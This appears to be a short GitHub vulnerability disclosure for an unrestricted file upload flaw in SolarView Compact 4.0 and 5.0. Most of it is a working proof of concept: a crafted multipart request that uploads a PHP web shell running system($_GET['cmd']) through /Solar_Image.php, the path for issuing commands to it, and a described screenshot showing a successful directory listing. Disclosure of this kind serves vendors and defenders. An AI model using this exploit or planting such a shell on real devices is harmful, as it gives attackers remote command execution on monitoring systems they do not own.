

main

...

Vulns / Unrestricted File Upload\_ SolarView Compact 4.0,5.0.md

strik3r0x1 Update Unrestricted File Upload\_ SolarView Compact 4.0,5.0.md

History

1 contributor

30 lines (19 sloc) | 1023 Bytes

...

# Unrestricted File Upload vulnerability in SolarView Compact 4.0,5.0

## Description

Unrestricted File Upload vulnerability in SolarView Compact 4.0,5.0 at /Solar\_Image.php can allow attackers to get a Remote Code Execution on the vulnerable host via upload crafted php file.

## POC

1. navigate to /Solar\_Image.php
2. upload any php file and caputre the request
3. update the userfile and upfilename parameters like this:

```
-----168287165333758025211172961484
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: application/octet-stream
```

```
<?php echo "Shell";system($_GET['cmd']); ?>
-----168287165333758025211172961484
Content-Disposition: form-data; name="upfilename"
```

```
shell.php
-----168287165333758025211172961484
```

4. send the request and navigate to /images/background/shell.php?cmd=ls

The screenshot shows a web browser window with the target URL `http://[redacted]`. The browser's developer tools are open, displaying the network tab. A single request is visible, which was successfully completed. The request details show a GET method to the path `/images/background/shell.php?cmd=ls` with a status of 200 OK. The response details show a 200 OK status with a content type of `text/html`. The response body contains a list of files and directories, including `bg_cork.jpg`, `bg_fancy.jpg`, `bg_generic1.jpg`, `bg_generic2.jpg`, `bg_generic3.jpg`, `bg_leather.jpg`, `bg_pamel.jpg`, `bg_paper_1.jpg`, `bg_paper_2.jpg`, `bg_sakura.jpg`, `bg_school1.jpg`, `bg_school2.jpg`, `bg_tatami.jpg`, `board_1.png`, `board_2.png`, `board_3.png`, `board_4.png`, `earth.png`, `frame_blue.png`, `frame_cyan.png`, `frame_green.png`, `frame_gray.png`, `frame_pink.png`, and `frame_red.png`.